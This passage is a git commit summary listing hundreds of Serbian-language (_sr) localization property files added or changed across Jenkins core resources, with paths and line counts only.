.../hudson/model/User/delete_sr.properties | 4 + .../hudson/model/User/index_sr.properties | 4 + .../hudson/model/User/sidepanel_sr.properties | 8 + .../View/AsynchPeople/index_sr.properties | 10 + .../model/View/People/index_sr.properties | 4 + .../hudson/model/View/builds_sr.properties | 4 + .../hudson/model/View/configure_sr.properties | 8 + .../hudson/model/View/delete_sr.properties | 4 + .../hudson/model/View/index_sr.properties | 3 + .../hudson/model/View/newJob_sr.properties | 13 + .../hudson/model/View/noJob_sr.properties | 4 + .../hudson/model/View/sidepanel_sr.properties | 14 +- .../labels/LabelAtom/configure_sr.properties | 6 + .../BecauseLabelIsBusy/summary_sr.properties | 3 + .../summary_sr.properties | 4 + .../BecauseNodeIsBusy/summary_sr.properties | 3 + .../summary_sr.properties | 3 + .../hudson/model/queue/Messages_sr.properties | 3 + .../config_sr.properties | 3 + .../node_monitors/Messages_sr.properties | 14 + .../message_sr.properties | 6 + .../Data/cause_sr.properties | 3 + .../message_sr.properties | 4 + .../MigrationFailedNotice/index_sr.properties | 3 + .../message_sr.properties | 4 + .../askRootPassword_sr.properties | 9 + .../ZFSInstaller/confirm_sr.properties | 11 + .../ZFSInstaller/message_sr.properties | 5 + .../hudson/scheduler/Messages_sr.properties | 9 + .../inProgress_sr.properties | 3 + .../EmptyChangeLogSet/digest_sr.properties | 2 +- .../hudson/scm/Messages_sr.properties | 5 + .../scm/SCM/project-changes_sr.properties | 5 + .../hudson/search/Messages_sr.properties | 3 + .../search/Search/search-failed_sr.properties | 4 + .../UserSearchProperty/config_sr.properties | 4 + .../error_sr.properties | 8 + .../config_sr.properties | 3 + .../config_sr.properties | 23 ++ .../index_sr.properties | 11 + .../Details/config_sr.properties | 4 + .../_entryForm_sr.properties | 9 + .../addUser_sr.properties | 3 + .../config_sr.properties | 5 + .../firstUser_sr.properties | 3 + .../index_sr.properties | 8 + .../loginLink_sr.properties | 2 +- .../sidepanel_sr.properties | 5 + .../signupWithFederatedIdentity_sr.properties | 3 + .../signup_sr.properties | 3 + .../success_sr.properties | 4 + .../LegacySecurityRealm/config_sr.properties | 4 + .../hudson/security/Messages_sr.properties | 36 +++ .../SecurityRealm/loginLink_sr.properties | 2 +- .../SecurityRealm/signup_sr.properties | 5 + .../DefaultCrumbIssuer/config_sr.properties | 3 + .../config_sr.properties | 5 + .../security/csrf/Messages_sr.properties | 3 + .../CommandConnector/config_sr.properties | 3 + .../CommandLauncher/config_sr.properties | 3 + .../slaves/CommandLauncher/help_sr.properties | 3 + .../ComputerLauncher/main_sr.properties | 7 + .../config_sr.properties | 3 + .../DumbSlave/configure-entries_sr.properties | 18 ++ .../DumbSlave/newInstanceDetail_sr.properties | 4 + .../config_sr.properties | 5 + .../slaves/JNLPLauncher/config_sr.properties | 4 + .../slaves/JNLPLauncher/help_sr.properties | 11 + .../slaves/JNLPLauncher/main_sr.properties | 12 + .../hudson/slaves/Messages_sr.properties | 24 ++ .../ChannelTermination/cause_sr.properties | 3 + .../LaunchFailed/cause_sr.properties | 3 + .../Demand/config_sr.properties | 6 + .../Scheduled/config_sr.properties | 4 + .../config_sr.properties | 7 + .../SlaveComputer/disconnect_sr.properties | 6 + .../slaves/SlaveComputer/log_sr.properties | 3 + .../SlaveComputer/sidepanel2_sr.properties | 5 + .../SlaveComputer/sidepanel_sr.properties | 8 + .../SlaveComputer/systemInfo_sr.properties | 8 + .../SlaveComputer/threadDump_sr.properties | 4 + .../ArtifactArchiver/config_sr.properties | 9 + .../help-defaultExcludes_sr.properties | 4 + .../tasks/BatchFile/config_sr.properties | 4 + .../tasks/BuildTrigger/config_sr.properties | 6 + .../FingerprintAction/index_sr.properties | 9 + .../tasks/Fingerprinter/config_sr.properties | 3 + .../tasks/LogRotator/config_sr.properties | 10 + .../MavenInstallation/config_sr.properties | 3 + .../hudson/tasks/Maven/config_sr.properties | 12 + .../hudson/tasks/Maven/help_sr.properties | 6 + .../hudson/tasks/Messages_sr.properties | 55 ++++ .../hudson/tasks/Shell/config_sr.properties | 4 + .../hudson/tasks/Shell/global_sr.properties | 4 + .../config_sr.properties | 4 + .../config_sr.properties | 3 + .../config_sr.properties | 4 + .../DescriptorImpl/credentialOK_sr.properties | 4 + .../enterCredential_sr.properties | 7 + .../tools/JDKInstaller/config_sr.properties | 4 + .../hudson/tools/Messages_sr.properties | 19 ++ .../ToolInstallation/config_sr.properties | 4 + .../ToolInstallation/global_sr.properties | 6 + .../config_sr.properties | 5 + .../config_sr.properties | 4 + .../hudson/tools/label_sr.properties | 3 + .../hudson/triggers/Messages_sr.properties | 12 + .../message_sr.properties | 3 + .../BuildAction/index_sr.properties | 5 + .../DescriptorImpl/index_sr.properties | 8 + .../SCMTrigger/SCMAction/index_sr.properties | 4 + .../triggers/SCMTrigger/config_sr.properties | 4 + .../triggers/SCMTrigger/global_sr.properties | 4 + .../TimerTrigger/config_sr.properties | 3 + .../util/AWTProblem/index_sr.properties | 4 + .../AdministrativeError/message_sr.properties | 3 + .../DoubleLaunchChecker/index_sr.properties | 7 + .../HudsonFailedToLoad/index_sr.properties | 3 + .../util/HudsonIsLoading/index_sr.properties | 4 + .../HudsonIsRestarting/index_sr.properties | 4 + .../index_sr.properties | 5 + .../index_sr.properties | 5 + .../index_sr.properties | 10 + .../index_sr.properties | 8 + .../util/JNADoublyLoaded/index_sr.properties | 4 + .../JenkinsReloadFailed/index_sr.properties | 4 + .../hudson/util/Messages_sr.properties | 10 + .../hudson/util/NoHomeDir/index_sr.properties | 9 + .../hudson/util/NoTempDir/index_sr.properties | 5 + .../BuildButtonColumn/column_sr.properties | 3 +- .../myViewTabs_sr.properties | 2 +- .../DefaultViewsTabBar/viewTabs_sr.properties | 2 +- .../config_sr.properties | 3 + .../JobColumn/columnHeader_sr.properties | 3 + .../columnHeader_sr.properties | 2 +- .../LastDurationColumn/column_sr.properties | 3 + .../columnHeader_sr.properties | 2 +- .../LastFailureColumn/column_sr.properties | 2 +- .../columnHeader_sr.properties | 3 + .../LastStableColumn/column_sr.properties | 3 + .../columnHeader_sr.properties | 2 +- .../LastSuccessColumn/column_sr.properties | 3 + .../hudson/views/Messages_sr.properties | 12 + .../config_sr.properties | 4 + .../StatusColumn/columnHeader_sr.properties | 2 +- .../config_sr.properties | 3 + .../WeatherColumn/columnHeader_sr.properties | 2 +- .../BuildHistoryWidget/entries_sr.properties | 6 + .../widgets/HistoryWidget/entry_sr.properties | 3 +- .../widgets/HistoryWidget/index_sr.properties | 9 +- .../hudson/widgets/Messages_sr.properties | 3 + .../HsErrPidList/index_sr.properties | 11 + .../HsErrPidList/message_sr.properties | 3 + .../message_sr.properties | 12 + .../message_sr.properties | 6 + .../authenticate-security-token_sr.properties | 11 + .../proxy-configuration_sr.properties | 3 + .../setupWizardFirstUser_sr.properties | 3 + .../client-scripts_sr.properties | 5 + .../install/pluginSetupWizard_sr.properties | 74 +++++ .../jenkins/management/Messages_sr.properties | 26 ++ .../management/PluginsLink/info_sr.properties | 3 + .../config-details_sr.properties | 3 + .../UserInterruption/summary_sr.properties | 3 + .../buildEnv_sr.properties | 16 + .../Warning/message_sr.properties | 7 + .../DownloadSettings/config_sr.properties | 4 + .../config_sr.properties | 5 + .../config_sr.properties | 3 + .../config_sr.properties | 5 + .../config_sr.properties | 3 + .../config_sr.properties | 3 + .../MasterComputer/configure_sr.properties | 7 + .../jenkins/model/Jenkins/_cli_sr.properties | 4 + .../model/Jenkins/_restart_sr.properties | 5 + .../model/Jenkins/_safeRestart_sr.properties | 5 + .../model/Jenkins/accessDenied_sr.properties | 4 + .../model/Jenkins/configure_sr.properties | 13 +- .../model/Jenkins/downgrade_sr.properties | 4 + .../Jenkins/fingerprintCheck_sr.properties | 10 + .../model/Jenkins/legend_sr.properties | 20 ++ .../Jenkins/load-statistics_sr.properties | 3 + .../model/Jenkins/loginError_sr.properties | 6 + .../jenkins/model/Jenkins/login_sr.properties | 7 + .../model/Jenkins/manage_sr.properties | 26 +- .../model/Jenkins/newView_sr.properties | 5 + .../model/Jenkins/noPrincipal_sr.properties | 3 + .../jenkins/model/Jenkins/oops_sr.properties | 14 + .../projectRelationship-help_sr.properties | 10 + .../Jenkins/projectRelationship_sr.properties | 7 + .../model/Jenkins/systemInfo_sr.properties | 13 + .../model/Jenkins/threadDump_sr.properties | 4 + .../config_sr.properties | 6 + .../config_sr.properties | 4 + .../jenkins/model/Messages_sr.properties | 42 +++ .../config_sr.properties | 5 + .../index_sr.properties | 3 + .../IdentityRootAction/index_sr.properties | 8 + .../item_category/Messages_sr.properties | 8 + .../config_sr.properties | 3 + .../config_sr.properties | 3 + .../GlobalMavenConfig/config_sr.properties | 5 + .../jenkins/mvn/Messages_sr.properties | 6 + .../ApiTokenProperty/config_sr.properties | 5 + .../jenkins/security/Messages_sr.properties | 7 + .../message_sr.properties | 19 ++ .../message_sr.properties | 6 + .../AdminWhitelistRule/index_sr.properties | 5 + .../message_sr.properties | 6 + .../description_sr.properties | 3 + .../description_sr.properties | 3 + .../description_sr.properties | 3 + .../slaves/systemInfo/Messages_sr.properties | 6 + .../index_sr.properties | 6 + .../jenkins/triggers/Messages_sr.properties | 5 + .../ReverseBuildTrigger/config_sr.properties | 6 + .../queue-items_sr.properties | 5 + .../resources/lib/form/advanced_sr.properties | 3 +- .../resources/lib/form/apply_sr.properties | 3 + .../lib/form/booleanRadio_sr.properties | 4 + .../breadcrumb-config-outline_sr.properties | 2 +- .../lib/form/expandableTextbox_sr.properties | 5 + .../resources/lib/form/helpArea_sr.properties | 2 +- .../resources/lib/form/helpLink_sr.properties | 3 + .../lib/form/hetero-list_sr.properties | 3 + .../form/repeatableDeleteButton_sr.properties | 3 + .../lib/form/repeatable_sr.properties | 3 + .../lib/form/serverTcpPort_sr.properties | 5 + .../lib/form/slave-mode_sr.properties | 3 + .../resources/lib/form/textarea_sr.properties | 4 +- .../lib/hudson/artifactList_sr.properties | 6 + .../lib/hudson/buildCaption_sr.properties | 5 +- .../lib/hudson/buildHealth_sr.properties | 2 +- .../lib/hudson/buildListTable_sr.properties | 7 + .../lib/hudson/buildProgressBar_sr.properties | 2 +- .../hudson/editableDescription_sr.properties | 3 +- .../lib/hudson/executors_sr.properties | 18 +- .../lib/hudson/iconSize_sr.properties | 2 +- .../lib/hudson/listScmBrowsers_sr.properties | 4 + .../lib/hudson/newFromList/form_sr.properties | 3 + .../resources/lib/hudson/node_sr.properties | 3 + .../project/build-permalink_sr.properties | 3 + .../config-assignedLabel_sr.properties | 5 + ...-blockWhenDownstreamBuilding_sr.properties | 3 + ...ig-blockWhenUpstreamBuilding_sr.properties | 3 + .../config-buildWrappers_sr.properties | 3 + .../project/config-builders_sr.properties | 4 + .../config-concurrentBuild_sr.properties | 3 + .../config-customWorkspace_sr.properties | 4 + .../project/config-disableBuild_sr.properties | 5 + .../project/config-publishers2_sr.properties | 4 + .../project/config-publishers_sr.properties | 3 + .../project/config-quietPeriod_sr.properties | 4 + .../project/config-retryCount_sr.properties | 4 + .../hudson/project/config-scm_sr.properties | 5 + .../project/config-trigger_sr.properties | 3 + ...nfig-upstream-pseudo-trigger_sr.properties | 5 + .../hudson/project/configurable_sr.properties | 9 +- .../hudson/project/console-link_sr.properties | 4 + .../project/upstream-downstream_sr.properties | 4 +- .../lib/hudson/propertyTable_sr.properties | 4 + .../resources/lib/hudson/queue_sr.properties | 15 +- .../resources/lib/hudson/rssBar_sr.properties | 8 +- .../lib/hudson/scriptConsole_sr.properties | 13 + .../hudson/thirdPartyLicenses_sr.properties | 5 + .../lib/layout/breadcrumbBar_sr.properties | 3 +- .../resources/lib/layout/layout_sr.properties | 7 +- .../lib/layout/main-panel_sr.properties | 3 + .../resources/lib/layout/pane_sr.properties | 4 + .../layout/progressiveRendering_sr.properties | 3 + .../resources/lib/layout/task_sr.properties | 3 + .../main/resources/lib/test/bar_sr.properties | 6 + 422 files changed, 2926 insertions(+), 100 deletions(-) create mode 100644 core/src/main/resources/hudson/AboutJenkins/index_sr.properties create mode 100644 core/src/main/resources/hudson/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/PluginUpdateMonitor/message_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/advanced_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/available_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/checkUpdates_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/check_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/index_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/installed_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/sites_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/tabBar_sr.properties create mode 100644 core/src/main/resources/hudson/PluginManager/table_sr.properties create mode 100644 core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_sr.properties create mode 100644 core/src/main/resources/hudson/PluginWrapper/thirdPartyLicenses_sr.properties create mode 100644 core/src/main/resources/hudson/PluginWrapper/uninstall_sr.properties create mode 100644 core/src/main/resources/hudson/ProxyConfiguration/config_sr.properties create mode 100644 core/src/main/resources/hudson/cli/CLIAction/index_sr.properties create mode 100644 core/src/main/resources/hudson/cli/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/message_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/MemoryUsageMonitor/index_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/NullIdDescriptorMonitor/message_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/OldDataMonitor/message_sr.properties create mode 100644 core/src/main/resources/hudson/diagnosis/TooManyJobsButNoView/message_sr.properties create mode 100644 core/src/main/resources/hudson/fsp/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/init/impl/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/lifecycle/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties create mode 100644 core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/configure_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/delete_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/index_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorderManager/all_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorderManager/feeds_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorderManager/index_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorderManager/new_sr.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/logging/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_sr.properties create mode 100644 core/src/main/resources/hudson/markup/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractItem/delete_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractItem/noWorkspace_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractModelObject/descriptionForm_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractModelObject/editDescription_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractModelObject/error_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractProject/BecauseOfUpstreamBuildInProgress/summary_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractProject/changes_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractProject/configure-common_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractProject/makeDisabled_sr.properties create mode 100644 core/src/main/resources/hudson/model/AbstractProject/wipeOutWorkspaceBlocked_sr.properties create mode 100644 core/src/main/resources/hudson/model/AgentSlave/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/AllView/newViewDetail_sr.properties create mode 100644 core/src/main/resources/hudson/model/BooleanParameterDefinition/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/BuildAuthorizationToken/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/Cause/UpstreamCause/description_sr.properties create mode 100644 core/src/main/resources/hudson/model/Cause/UserCause/description_sr.properties create mode 100644 core/src/main/resources/hudson/model/Cause/UserIdCause/description_sr.properties create mode 100644 core/src/main/resources/hudson/model/CauseAction/summary_sr.properties create mode 100644 core/src/main/resources/hudson/model/ChoiceParameterDefinition/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/_script_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/builds_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/configure_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/delete_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/markOffline_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/setOfflineCause_sr.properties create mode 100644 core/src/main/resources/hudson/model/Computer/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/model/ComputerSet/_new_sr.properties create mode 100644 core/src/main/resources/hudson/model/ComputerSet/configure_sr.properties create mode 100644 core/src/main/resources/hudson/model/ComputerSet/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/ComputerSet/new_sr.properties create mode 100644 core/src/main/resources/hudson/model/ComputerSet/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/model/DirectoryBrowserSupport/dir_sr.properties create mode 100644 core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/FileParameterDefinition/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/FileParameterValue/value_sr.properties create mode 100644 core/src/main/resources/hudson/model/Fingerprint/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/JDK/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/Job/buildTimeTrend_sr.properties create mode 100644 core/src/main/resources/hudson/model/Job/configure_sr.properties create mode 100644 core/src/main/resources/hudson/model/Job/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/Job/rename_sr.properties create mode 100644 core/src/main/resources/hudson/model/Job/requirePOST_sr.properties create mode 100644 core/src/main/resources/hudson/model/Label/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/Label/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/model/ListView/configure-entries_sr.properties create mode 100644 core/src/main/resources/hudson/model/ListView/newJobButtonBar_sr.properties create mode 100644 core/src/main/resources/hudson/model/ListView/newViewDetail_sr.properties create mode 100644 core/src/main/resources/hudson/model/LoadStatistics/main_sr.properties create mode 100644 core/src/main/resources/hudson/model/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/model/MyView/newViewDetail_sr.properties create mode 100644 core/src/main/resources/hudson/model/MyView/noJob_sr.properties create mode 100644 core/src/main/resources/hudson/model/MyViewsProperty/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/MyViewsProperty/newView_sr.properties create mode 100644 core/src/main/resources/hudson/model/NoFingerprintMatch/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/ParametersAction/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/ParametersDefinitionProperty/config-details_sr.properties create mode 100644 core/src/main/resources/hudson/model/ParametersDefinitionProperty/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/PasswordParameterDefinition/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/ProxyView/configure-entries_sr.properties create mode 100644 core/src/main/resources/hudson/model/ProxyView/newViewDetail_sr.properties create mode 100644 core/src/main/resources/hudson/model/Run/KeepLogBuildBadge/badge_sr.properties create mode 100644 core/src/main/resources/hudson/model/Run/artifacts-index_sr.properties create mode 100644 core/src/main/resources/hudson/model/Run/configure_sr.properties create mode 100644 core/src/main/resources/hudson/model/Run/confirmDelete_sr.properties create mode 100644 core/src/main/resources/hudson/model/Run/delete-retry_sr.properties create mode 100644 core/src/main/resources/hudson/model/Run/logKeep_sr.properties create mode 100644 core/src/main/resources/hudson/model/RunParameterDefinition/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/Slave/help-launcher_sr.properties create mode 100644 core/src/main/resources/hudson/model/StringParameterDefinition/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/TaskAction/log_sr.properties create mode 100644 core/src/main/resources/hudson/model/TextParameterDefinition/config_sr.properties create mode 100644 core/src/main/resources/hudson/model/TreeView/sidepanel2_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Failure/status_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Success/status_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/EnableJob/row_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Canceled/status_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Failure/status_sr.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/RestartJenkinsJob/Running/status_sr.properties create mode 100644 core/src/main/resources/hudson/model/UsageStatistics/global_sr.properties create mode 100644 core/src/main/resources/hudson/model/User/builds_sr.properties create mode 100644 core/src/main/resources/hudson/model/User/configure_sr.properties create mode 100644 core/src/main/resources/hudson/model/User/delete_sr.properties create mode 100644 core/src/main/resources/hudson/model/User/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/User/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/AsynchPeople/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/People/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/builds_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/configure_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/delete_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/index_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/newJob_sr.properties create mode 100644 core/src/main/resources/hudson/model/View/noJob_sr.properties create mode 100644 core/src/main/resources/hudson/model/labels/LabelAtom/configure_sr.properties create mode 100644 core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsBusy/summary_sr.properties create mode 100644 core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsOffline/summary_sr.properties create mode 100644 core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsBusy/summary_sr.properties create mode 100644 core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsOffline/summary_sr.properties create mode 100644 core/src/main/resources/hudson/model/queue/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_sr.properties create mode 100644 core/src/main/resources/hudson/node_monitors/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/node_monitors/MonitorMarkedNodeOffline/message_sr.properties create mode 100644 core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_sr.properties create mode 100644 core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationCompleteNotice/message_sr.properties create mode 100644 core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/index_sr.properties create mode 100644 core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message_sr.properties create mode 100644 core/src/main/resources/hudson/os/solaris/ZFSInstaller/askRootPassword_sr.properties create mode 100644 core/src/main/resources/hudson/os/solaris/ZFSInstaller/confirm_sr.properties create mode 100644 core/src/main/resources/hudson/os/solaris/ZFSInstaller/message_sr.properties create mode 100644 core/src/main/resources/hudson/scheduler/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/scm/AbstractScmTagAction/inProgress_sr.properties create mode 100644 core/src/main/resources/hudson/scm/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/scm/SCM/project-changes_sr.properties create mode 100644 core/src/main/resources/hudson/search/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/search/Search/search-failed_sr.properties create mode 100644 core/src/main/resources/hudson/search/UserSearchProperty/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/FederatedLoginService/UnclaimedIdentityException/error_sr.properties create mode 100644 core/src/main/resources/hudson/security/FullControlOnceLoggedInAuthorizationStrategy/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/GlobalSecurityConfiguration/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/addUser_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/firstUser_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signupWithFederatedIdentity_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/signup_sr.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/success_sr.properties create mode 100644 core/src/main/resources/hudson/security/LegacySecurityRealm/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/security/SecurityRealm/signup_sr.properties create mode 100644 core/src/main/resources/hudson/security/csrf/DefaultCrumbIssuer/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/csrf/GlobalCrumbIssuerConfiguration/config_sr.properties create mode 100644 core/src/main/resources/hudson/security/csrf/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/CommandConnector/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/CommandLauncher/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/CommandLauncher/help_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/ComputerLauncher/main_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/DelegatingComputerLauncher/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/DumbSlave/configure-entries_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/DumbSlave/newInstanceDetail_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/EnvironmentVariablesNodeProperty/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/JNLPLauncher/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/JNLPLauncher/help_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/JNLPLauncher/main_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/OfflineCause/ChannelTermination/cause_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/OfflineCause/LaunchFailed/cause_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/RetentionStrategy/Demand/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/RetentionStrategy/Scheduled/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/SimpleScheduledRetentionStrategy/config_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/SlaveComputer/disconnect_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/SlaveComputer/log_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel2_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/SlaveComputer/sidepanel_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo_sr.properties create mode 100644 core/src/main/resources/hudson/slaves/SlaveComputer/threadDump_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/ArtifactArchiver/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/BatchFile/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/BuildTrigger/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Fingerprinter/FingerprintAction/index_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Fingerprinter/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/LogRotator/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Maven/MavenInstallation/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Maven/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Maven/help_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Shell/config_sr.properties create mode 100644 core/src/main/resources/hudson/tasks/Shell/global_sr.properties create mode 100644 core/src/main/resources/hudson/tools/AbstractCommandInstaller/config_sr.properties create mode 100644 core/src/main/resources/hudson/tools/DownloadFromUrlInstaller/config_sr.properties create mode 100644 